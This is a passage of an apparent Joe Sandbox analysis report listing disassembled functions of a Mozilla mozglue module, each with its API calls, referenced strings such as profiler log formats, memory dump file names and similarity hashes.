Part of subcall function 6CED94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CED9508

Part of subcall function 6CECCBE8: GetCurrentProcess.KERNEL32(?,6CE931A7), ref: 6CECCBF1
Part of subcall function 6CECCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CE931A7), ref: 6CECCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CEA4A68), ref: 6CEDDEB8
free.MOZGLUE(00000000,?,6CEA4A68), ref: 6CEDDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CEDDF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CEDDE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CEDE00E
<none>, xrefs: 6CEDDFD7

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f71e0beb114b4889e73d903db5c6fff9ccc3e5ffc2162899d743a18765a9a8b7
Instruction ID: 4e08c66fb20e3d13163362b23002c53a1321d11680bd87e56fcc9832cc5a1cda
Opcode Fuzzy Hash: f71e0beb114b4889e73d903db5c6fff9ccc3e5ffc2162899d743a18765a9a8b7
Instruction Fuzzy Hash: A1412779F112019BEB509F65C8067AE7775EB8630DF260419E90987F01CB31A906CBE2

Function 6CEED840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CEED85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CEED86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEED918
GetCurrentThreadId.KERNEL32 ref: 6CEED93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CEED948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEED970
GetCurrentThreadId.KERNEL32 ref: 6CEED976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CEED982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEED9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CEEDA2E
GetCurrentThreadId.KERNEL32 ref: 6CEEDA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CEEDA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6CEEDA91

Part of subcall function 6CEB5C50: GetTickCount64.KERNEL32 ref: 6CEB5D40
Part of subcall function 6CEB5C50: EnterCriticalSection.KERNEL32(6CF1F688), ref: 6CEB5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEEDAB7

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 95afe7a2e330bb8d322d79597ec2bfd8a0d9df8657ec0157db5bc252fd95ac4d
Instruction ID: 1567639f6e1f859340d3ca128d303521f347614a86635fc4afd9f981961740e9
Opcode Fuzzy Hash: 95afe7a2e330bb8d322d79597ec2bfd8a0d9df8657ec0157db5bc252fd95ac4d
Instruction Fuzzy Hash: BD71DE75A10304DFCB40CF28C888B9ABBF5FF89354F25866DE85A9B701DB70A945CB91

Function 6CEED4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CEED4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CEED4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEED52A
GetCurrentThreadId.KERNEL32 ref: 6CEED530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CEED53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEED55F
free.MOZGLUE(00000000), ref: 6CEED585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CEED5D3
GetCurrentThreadId.KERNEL32 ref: 6CEED5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CEED605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEED652
GetCurrentThreadId.KERNEL32 ref: 6CEED658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CEED667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEED6A2

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: d03dcd476637e47f1b11077a1cc271aaa749e88bca341566b53409154582a7fe
Instruction ID: 2cf9a8ec2c1da5cbc139aff2c910cfe45a7a48ed550c91f41df39f0d64fedcab
Opcode Fuzzy Hash: d03dcd476637e47f1b11077a1cc271aaa749e88bca341566b53409154582a7fe
Instruction Fuzzy Hash: 5B519EB5A14705DFC704CF34C484A9ABBF4FF89358F118A2EE85A87B11DB70A945CB91

Function 6CEB5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CEB56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CEB56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CEB56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CEB5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CEB57BC
GetTickCount64.KERNEL32 ref: 6CEB58CB
EnterCriticalSection.KERNEL32(6CF1F688), ref: 6CEB58F3
__aulldiv.LIBCMT ref: 6CEB5945
LeaveCriticalSection.KERNEL32(6CF1F688), ref: 6CEB59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CF1F638,?,?,?,?), ref: 6CEB59E9

Strings

MOZ_APP_RESTART, xrefs: 6CEB56CC

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 561dac7e9fb311922b5e2bd2aa1010322bc02ea69f9c3db97153c98c5e5750e8
Instruction ID: 03f9225b844860f1efcc7fafa4329f1170fecff4052564ff209a8e27c487d86a
Opcode Fuzzy Hash: 561dac7e9fb311922b5e2bd2aa1010322bc02ea69f9c3db97153c98c5e5750e8
Instruction Fuzzy Hash: EBC19F31A193409FD745CF28C55166ABBF1FFCA714F168A1DE8D8A7B60D730A885CB82

Function 6CEDEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CEA4A68), ref: 6CED945E
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CED9470
Part of subcall function 6CED9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CED9482
Part of subcall function 6CED9420: __Init_thread_footer.LIBCMT ref: 6CED949F

GetCurrentThreadId.KERNEL32 ref: 6CEDEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEDEC8C

Part of subcall function 6CED94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CED94EE
Part of subcall function 6CED94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CED9508

GetCurrentThreadId.KERNEL32 ref: 6CEDECA1
AcquireSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CEDECC5
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CEDED19
CloseHandle.KERNEL32(?), ref: 6CEDED28
free.MOZGLUE(00000000), ref: 6CEDED2F
ReleaseSRWLockExclusive.KERNEL32(6CF1F4B8), ref: 6CEDED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CEDEC94

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 2d2701d8011faedbb13d7988d34aac185d68df11efcc16c445098db185755aa8
Instruction ID: e84a8b58a9cc6d7aa17af181fc6c0b98cdec69a016f802d0547da6c9a154324b
Opcode Fuzzy Hash: 2d2701d8011faedbb13d7988d34aac185d68df11efcc16c445098db185755aa8
Instruction Fuzzy Hash: 352105B5A00508EFDB409F65D809BAA7B79EB4626CF224614FC1897F41DB31AC07CBA1

Function 6CED8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CE9EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CEDB392,?,?,00000001), ref: 6CED91F4

Part of subcall function 6CECCBE8: GetCurrentProcess.KERNEL32(?,6CE931A7), ref: 6CECCBF1
Part of subcall function 6CECCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CE931A7), ref: 6CECCBFA

Strings

data, xrefs: 6CED90E8
timeline-fileio, xrefs: 6CED90A4
stack-chart, xrefs: 6CED90B2
marker-table, xrefs: 6CED906C
timeline-overview, xrefs: 6CED907A
timeline-memory, xrefs: 6CED9088
marker-chart, xrefs: 6CED905E
name, xrefs: 6CED8F16
timeline-ipc, xrefs: 6CED9096

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 156b442a6f1909aa3f4722d517cc3d486c05166a6f346f4f758526e02f5a40d9
Instruction ID: 609e7b30e24dcdbcccf308eaf573ba62e8620f75a936f00c66f63e087cae86f3
Opcode Fuzzy Hash: 156b442a6f1909aa3f4722d517cc3d486c05166a6f346f4f758526e02f5a40d9
Instruction Fuzzy Hash: 10B1C2B1B012099BDB04CF98C8627EEBBB5BF85318F21401DD506ABF80DB71A946CBD1

Function 6CEBC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CEBC5A3
WideCharToMultiByte.KERNEL32 ref: 6CEBC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CEBC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CEBCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEBCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEBCAA5

Strings

(null), xrefs: 6CEBC596
0, xrefs: 6CEBD30A

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 7a58dac7cbf97feaa50f61d6da696a369523babf34b31615636f17246434692e
Instruction ID: c1612c58ade3d4aff60cc50092b12cd9bf539fc993036aa17740d65bb24163e6
Opcode Fuzzy Hash: 7a58dac7cbf97feaa50f61d6da696a369523babf34b31615636f17246434692e
Instruction Fuzzy Hash: 25A18E3170C3429FDB00DF28C654B6ABBF1AF8A758F24892DE899A7741D735D805CB92

Function 6CE948E0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,6CED483A,?), ref: 6CE94ACB
memcpy.VCRUNTIME140(-00000023,?,?,?,?,6CED483A,?), ref: 6CE94AE0
moz_xmalloc.MOZGLUE(?,?,6CED483A,?), ref: 6CE94A82

Part of subcall function 6CEACA10: mozalloc_abort.MOZGLUE(?), ref: 6CEACAA2

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6CED483A,?), ref: 6CE94A97
moz_xmalloc.MOZGLUE(?,?,6CED483A,?), ref: 6CE94A35

Part of subcall function 6CEACA10: malloc.MOZGLUE(?), ref: 6CEACA26

memcpy.VCRUNTIME140(-00000023,?,?,?,?,6CED483A,?), ref: 6CE94A4A
moz_xmalloc.MOZGLUE(?,?,6CED483A,?), ref: 6CE94AF4
moz_xmalloc.MOZGLUE(?,?,6CED483A,?), ref: 6CE94B10
moz_xmalloc.MOZGLUE(?,?,6CED483A,?), ref: 6CE94B2C

Strings

:Hl, xrefs: 6CE948EB, 6CE949FB

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID: :Hl
API String ID: 4251373892-701596453
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: f44579ec349037a159c935983cbcffc868658b67487ddbde9ae961879615145a
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: E1714DB1A007069FC754CF68C5806AAB7F5FF09304B204A3ED16ADBB51E731E555CB91

Function 6CEBC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CEBC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CEBC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CEBC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CEBC891

Strings

nan, xrefs: 6CEBC7A8
INF, xrefs: 6CEBC794
NAN, xrefs: 6CEBC7AD
inf, xrefs: 6CEBC78F

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 953f265782b55d895bc37e1b22735e3f66ee25f4b252e2ea6b438ded40431880
Instruction ID: 553cd7ded154f84c9734114c968344a86cf01ab1c55ee303cc1bca1dbf006b04
Opcode Fuzzy Hash: 953f265782b55d895bc37e1b22735e3f66ee25f4b252e2ea6b438ded40431880
Instruction Fuzzy Hash: 43518471A0C7808BD700DF6CC5816AAFBF1BF9A308F108A2DE9D5A7650E774D9858B43

Function 6CE94480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CED4843,?), ref: 6CE945F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CED4843,?), ref: 6CE9468A
free.MOZGLUE(?,?,?,?,?,?,6CED4843,?), ref: 6CE946C9
free.MOZGLUE(?), ref: 6CE946EF
free.MOZGLUE(?), ref: 6CE94712
free.MOZGLUE(?), ref: 6CE94735
free.MOZGLUE(?), ref: 6CE94758
free.MOZGLUE(?), ref: 6CE9477B
free.MOZGLUE(?), ref: 6CE9479E

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 2b2b00818be026813483b7e35623190d544c6b829a3a312cd77a39c619221ead
Instruction ID: 27acfc3a2c68bf04f4054884686f5ea9f61d694b0f79cabe4612c4c41fd558de
Opcode Fuzzy Hash: 2b2b00818be026813483b7e35623190d544c6b829a3a312cd77a39c619221ead
Instruction Fuzzy Hash: 1BB1F672A002548FDB28DE7CD89476D77B1AF46328F28466EE436DFB96D73498408B42

Function 6CEFAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CEFAC52
CreateFileMappingW.KERNEL32 ref: 6CEFAC7D
GetSystemInfo.KERNEL32 ref: 6CEFAC98
MapViewOfFile.KERNEL32 ref: 6CEFACB0
GetSystemInfo.KERNEL32 ref: 6CEFACCD
MapViewOfFile.KERNEL32 ref: 6CEFAD05
UnmapViewOfFile.KERNEL32 ref: 6CEFAD1C
CloseHandle.KERNEL32 ref: 6CEFAD28
UnmapViewOfFile.KERNEL32 ref: 6CEFAD37
CloseHandle.KERNEL32 ref: 6CEFAD43
CloseHandle.KERNEL32 ref: 6CEFAD67

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: fadfd5b40dd98dc9f05651caeb4070805e0d48a327b0152a4d4dd9e5f4809654
Instruction ID: 848f84b96ab20d7cdb66bda67ab2500771bd16904aad64f60159b2e5ad38c253
Opcode Fuzzy Hash: fadfd5b40dd98dc9f05651caeb4070805e0d48a327b0152a4d4dd9e5f4809654
Instruction Fuzzy Hash: 17315EB1E04704CFDB40AF78D6492AEBBF0BF85305F12892DE99587711EB709459CB92

Function 6CEA9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CEA9675
__Init_thread_footer.LIBCMT ref: 6CEA9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CEA96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CEA9707
__Init_thread_footer.LIBCMT ref: 6CEA971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CEA9773

Part of subcall function 6CECAB89: EnterCriticalSection.KERNEL32(6CF1E370,?,?,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284), ref: 6CECAB94
Part of subcall function 6CECAB89: LeaveCriticalSection.KERNEL32(6CF1E370,?,6CE934DE,6CF1F6CC,?,?,?,?,?,?,?,6CE93284,?,?,6CEB56F6), ref: 6CECABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CEA97B7
FreeLibrary.KERNEL32 ref: 6CEA97D0
FreeLibrary.KERNEL32 ref: 6CEA97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CEA9824

Strings

NtMapViewOfSection, xrefs: 6CEA9701
ntdll.dll, xrefs: 6CEA96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CEA9670
MapViewOfFileNuma2, xrefs: 6CEA97B1

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 9a4a473dd0fac33d2438b14e1f17fd79128303bdf063b5747ba16bfe2ae47b73
Instruction ID: 82d6d9a27f264ba45b83af5e7265cd042c73420c56b9e532d1636eb517414df1
Opcode Fuzzy Hash: 9a4a473dd0fac33d2438b14e1f17fd79128303bdf063b5747ba16bfe2ae47b73
Instruction Fuzzy Hash: 9C41C0B1F143059FDF80CFA4D886B967BB4EB4A328F224528ED158BF40D731A815CBA1

Function 6CE91E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF1E784), ref: 6CE91EC1
LeaveCriticalSection.KERNEL32(6CF1E784), ref: 6CE91EE1
EnterCriticalSection.KERNEL32(6CF1E744), ref: 6CE91F38
LeaveCriticalSection.KERNEL32(6CF1E744), ref: 6CE91F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CE91F83
LeaveCriticalSection.KERNEL32(6CF1E784), ref: 6CE91FC0
EnterCriticalSection.KERNEL32(6CF1E784), ref: 6CE91FE2
LeaveCriticalSection.KERNEL32(6CF1E784), ref: 6CE91FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE92019

Strings

MOZ_CRASH(), xrefs: 6CE92000

Memory Dump Source

Source File: 00000000.00000002.1611200835.000000006CE91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.1611167790.000000006CE90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611368967.000000006CF0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611401588.000000006CF1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1611436659.000000006CF22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: faae05ef6458a0d61f3fcc102e5004537310eeb8f3ca6046a1601deb9a6cbf9a
